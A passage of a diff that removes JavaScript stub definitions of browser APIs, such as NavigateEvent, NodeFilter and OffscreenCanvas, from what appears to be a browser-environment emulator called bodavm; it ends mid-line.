-bodavm.memory.globalobj['MIDIOutput'].__proto__=bodavm.memory.globalobj['MIDIPort']; -bodavm.toolsFunc.defineProperty('MIDIOutput', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutput'].prototype, "MIDIOutput", "send", arguments)}},'prototype'); - -// MIDIOutputMap对象 -bodavm.memory.globalobj['MIDIOutputMap'] = function MIDIOutputMap(){if (!(this instanceof MIDIOutputMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MIDIOutputMap'], "MIDIOutputMap"); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MIDIOutputMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MIDIOutputMap'].prototype, "MIDIOutputMap", "values", arguments)}},'prototype'); - -// moveBy对象 -bodavm.memory.globalobj['moveBy'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('moveBy', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('moveBy', "name", {configurable:true, enumerable:false, writable:false, value:"moveBy"}); - -// moveTo对象 -bodavm.memory.globalobj['moveTo'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('moveTo', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('moveTo', "name", {configurable:true, enumerable:false, writable:false, value:"moveTo"}); - -// MutationEvent对象 -bodavm.memory.globalobj['MutationEvent'] = function MutationEvent(){if (!(this instanceof MutationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationEvent'], "MutationEvent"); -bodavm.memory.globalobj['MutationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MutationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('MutationEvent', "relatedNode", {configurable:true, enumerable:true, get:function relatedNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "relatedNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "prevValue", {configurable:true, enumerable:true, get:function prevValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "prevValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "newValue", {configurable:true, enumerable:true, get:function newValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "newValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "attrName", {configurable:true, enumerable:true, get:function attrName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "attrChange", {configurable:true, enumerable:true, get:function attrChange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrChange_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "initMutationEvent", {configurable:true, enumerable:true, writable:true, value:function initMutationEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "initMutationEvent", arguments)}},'prototype'); - -// name对象 -bodavm.memory.globalobj['name'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('name', "length", {configurable:false, enumerable:false, writable:false, value:0}); - -// NavigateEvent对象 -bodavm.memory.globalobj['NavigateEvent'] = function NavigateEvent(){if (!(this instanceof NavigateEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigateEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigateEvent'], "NavigateEvent"); -bodavm.memory.globalobj['NavigateEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['NavigateEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('NavigateEvent', "navigationType", {configurable:true, enumerable:true, get:function navigationType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "navigationType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "destination_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "canTransition", {configurable:true, enumerable:true, get:function canTransition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canTransition_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "canIntercept", {configurable:true, enumerable:true, get:function canIntercept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canIntercept_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "userInitiated", {configurable:true, enumerable:true, get:function userInitiated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "userInitiated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "hashChange", {configurable:true, enumerable:true, get:function hashChange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "hashChange_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "formData", {configurable:true, enumerable:true, get:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "formData_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "downloadRequest", {configurable:true, enumerable:true, get:function downloadRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "downloadRequest_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "info", {configurable:true, enumerable:true, get:function info (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "info_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "intercept", {configurable:true, enumerable:true, writable:true, value:function intercept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "intercept", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "scroll", {configurable:true, enumerable:true, writable:true, value:function scroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "scroll", arguments)}},'prototype'); - -// NavigationCurrentEntryChangeEvent对象 -bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'] = function NavigationCurrentEntryChangeEvent(){if (!(this instanceof NavigationCurrentEntryChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigationCurrentEntryChangeEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'], "NavigationCurrentEntryChangeEvent"); -bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "navigationType", {configurable:true, enumerable:true, get:function navigationType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "navigationType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationCurrentEntryChangeEvent', "from", {configurable:true, enumerable:true, get:function from (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationCurrentEntryChangeEvent'].prototype, "NavigationCurrentEntryChangeEvent", "from_get", arguments)}, set:undefined},'prototype'); - -// NavigationDestination对象 -bodavm.memory.globalobj['NavigationDestination'] = function NavigationDestination(){if (!(this instanceof NavigationDestination)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationDestination'], "NavigationDestination"); -bodavm.toolsFunc.defineProperty('NavigationDestination', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "index_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "sameDocument", {configurable:true, enumerable:true, get:function sameDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "sameDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationDestination', "getState", {configurable:true, enumerable:true, writable:true, value:function getState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationDestination'].prototype, "NavigationDestination", "getState", arguments)}},'prototype'); - -// NavigationHistoryEntry对象 -bodavm.memory.globalobj['NavigationHistoryEntry'] = function NavigationHistoryEntry(){if (!(this instanceof NavigationHistoryEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationHistoryEntry'], "NavigationHistoryEntry"); -bodavm.memory.globalobj['NavigationHistoryEntry'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['NavigationHistoryEntry'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "index_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "sameDocument", {configurable:true, enumerable:true, get:function sameDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "sameDocument_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "ondispose", {configurable:true, enumerable:true, get:function ondispose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_get", arguments)}, set:function ondispose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "ondispose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationHistoryEntry', "getState", {configurable:true, enumerable:true, writable:true, value:function getState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationHistoryEntry'].prototype, "NavigationHistoryEntry", "getState", arguments)}},'prototype'); - -// NavigationPreloadManager对象 -bodavm.memory.globalobj['NavigationPreloadManager'] = function NavigationPreloadManager(){if (!(this instanceof NavigationPreloadManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationPreloadManager'], "NavigationPreloadManager"); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "disable", {configurable:true, enumerable:true, writable:true, value:function disable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "disable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "enable", {configurable:true, enumerable:true, writable:true, value:function enable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "enable", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "getState", {configurable:true, enumerable:true, writable:true, value:function getState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "getState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationPreloadManager', "setHeaderValue", {configurable:true, enumerable:true, writable:true, value:function setHeaderValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationPreloadManager'].prototype, "NavigationPreloadManager", "setHeaderValue", arguments)}},'prototype'); - -// NavigationTransition对象 -bodavm.memory.globalobj['NavigationTransition'] = function NavigationTransition(){if (!(this instanceof NavigationTransition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigationTransition'], "NavigationTransition"); -bodavm.toolsFunc.defineProperty('NavigationTransition', "navigationType", {configurable:true, enumerable:true, get:function navigationType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "navigationType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationTransition', "from", {configurable:true, enumerable:true, get:function from (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "from_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigationTransition', "finished", {configurable:true, enumerable:true, get:function finished (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigationTransition'].prototype, "NavigationTransition", "finished_get", arguments)}, set:undefined},'prototype'); - -// NavigatorManagedData对象 -bodavm.memory.globalobj['NavigatorManagedData'] = function NavigatorManagedData(){if (!(this instanceof NavigatorManagedData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorManagedData'], "NavigatorManagedData"); -bodavm.memory.globalobj['NavigatorManagedData'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['NavigatorManagedData'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('NavigatorManagedData', "onmanagedconfigurationchange", {configurable:true, enumerable:true, get:function onmanagedconfigurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_get", arguments)}, set:function onmanagedconfigurationchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "onmanagedconfigurationchange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorManagedData', "getManagedConfiguration", {configurable:true, enumerable:true, writable:true, value:function getManagedConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorManagedData'].prototype, "NavigatorManagedData", "getManagedConfiguration", arguments)}},'prototype'); - -// NavigatorUAData对象 -bodavm.memory.globalobj['NavigatorUAData'] = function NavigatorUAData(){if (!(this instanceof NavigatorUAData)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigatorUAData'], "NavigatorUAData"); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "brands", {configurable:true, enumerable:true, get:function brands (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "brands_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "mobile", {configurable:true, enumerable:true, get:function mobile (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "mobile_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "platform", {configurable:true, enumerable:true, get:function platform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "platform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "getHighEntropyValues", {configurable:true, enumerable:true, writable:true, value:function getHighEntropyValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "getHighEntropyValues", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigatorUAData', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigatorUAData'].prototype, "NavigatorUAData", "toJSON", arguments)}},'prototype'); - -// NodeFilter对象 -bodavm.memory.globalobj['NodeFilter'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('NodeFilter', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('NodeFilter', "name", {configurable:true, enumerable:false, writable:false, value:"NodeFilter"}); -bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_ACCEPT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_REJECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('NodeFilter', "FILTER_SKIP", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ALL", {configurable:false, enumerable:true, writable:false, value:4294967295}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ELEMENT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ATTRIBUTE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_TEXT", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_CDATA_SECTION", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY_REFERENCE", {configurable:false, enumerable:true, writable:false, value:16}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_ENTITY", {configurable:false, enumerable:true, writable:false, value:32}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_PROCESSING_INSTRUCTION", {configurable:false, enumerable:true, writable:false, value:64}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_COMMENT", {configurable:false, enumerable:true, writable:false, value:128}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT", {configurable:false, enumerable:true, writable:false, value:256}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_TYPE", {configurable:false, enumerable:true, writable:false, value:512}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_DOCUMENT_FRAGMENT", {configurable:false, enumerable:true, writable:false, value:1024}); -bodavm.toolsFunc.defineProperty('NodeFilter', "SHOW_NOTATION", {configurable:false, enumerable:true, writable:false, value:2048}); - -// NodeIterator对象 -bodavm.memory.globalobj['NodeIterator'] = function NodeIterator(){if (!(this instanceof NodeIterator)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NodeIterator'], "NodeIterator"); -bodavm.toolsFunc.defineProperty('NodeIterator', "root", {configurable:true, enumerable:true, get:function root (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "root_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "referenceNode", {configurable:true, enumerable:true, get:function referenceNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "referenceNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "pointerBeforeReferenceNode", {configurable:true, enumerable:true, get:function pointerBeforeReferenceNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "pointerBeforeReferenceNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "whatToShow", {configurable:true, enumerable:true, get:function whatToShow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "whatToShow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "filter", {configurable:true, enumerable:true, get:function filter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "filter_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "detach", {configurable:true, enumerable:true, writable:true, value:function detach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "detach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "nextNode", {configurable:true, enumerable:true, writable:true, value:function nextNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "nextNode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NodeIterator', "previousNode", {configurable:true, enumerable:true, writable:true, value:function previousNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NodeIterator'].prototype, "NodeIterator", "previousNode", arguments)}},'prototype'); - -// OfflineAudioCompletionEvent对象 -bodavm.memory.globalobj['OfflineAudioCompletionEvent'] = function OfflineAudioCompletionEvent(){if (!(this instanceof OfflineAudioCompletionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OfflineAudioCompletionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OfflineAudioCompletionEvent'], "OfflineAudioCompletionEvent"); -bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['OfflineAudioCompletionEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('OfflineAudioCompletionEvent', "renderedBuffer", {configurable:true, enumerable:true, get:function renderedBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OfflineAudioCompletionEvent'].prototype, "OfflineAudioCompletionEvent", "renderedBuffer_get", arguments)}, set:undefined},'prototype'); - -// offscreenBuffering对象 -bodavm.memory.globalobj['offscreenBuffering'] = { - _boisinit:bodavm.config.isinit - } - -// OffscreenCanvas对象 -bodavm.memory.globalobj['OffscreenCanvas'] = function OffscreenCanvas(){if (!(this instanceof OffscreenCanvas)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'OffscreenCanvas': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OffscreenCanvas'], "OffscreenCanvas"); -bodavm.memory.globalobj['OffscreenCanvas'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['OffscreenCanvas'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextlost", {configurable:true, enumerable:true, get:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_get", arguments)}, set:function oncontextlost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, "OffscreenCanvas", "oncontextlost_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('OffscreenCanvas', "oncontextrestored", {configurable:true, enumerable:true, get:function oncontextrestored (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OffscreenCanvas'].prototype, 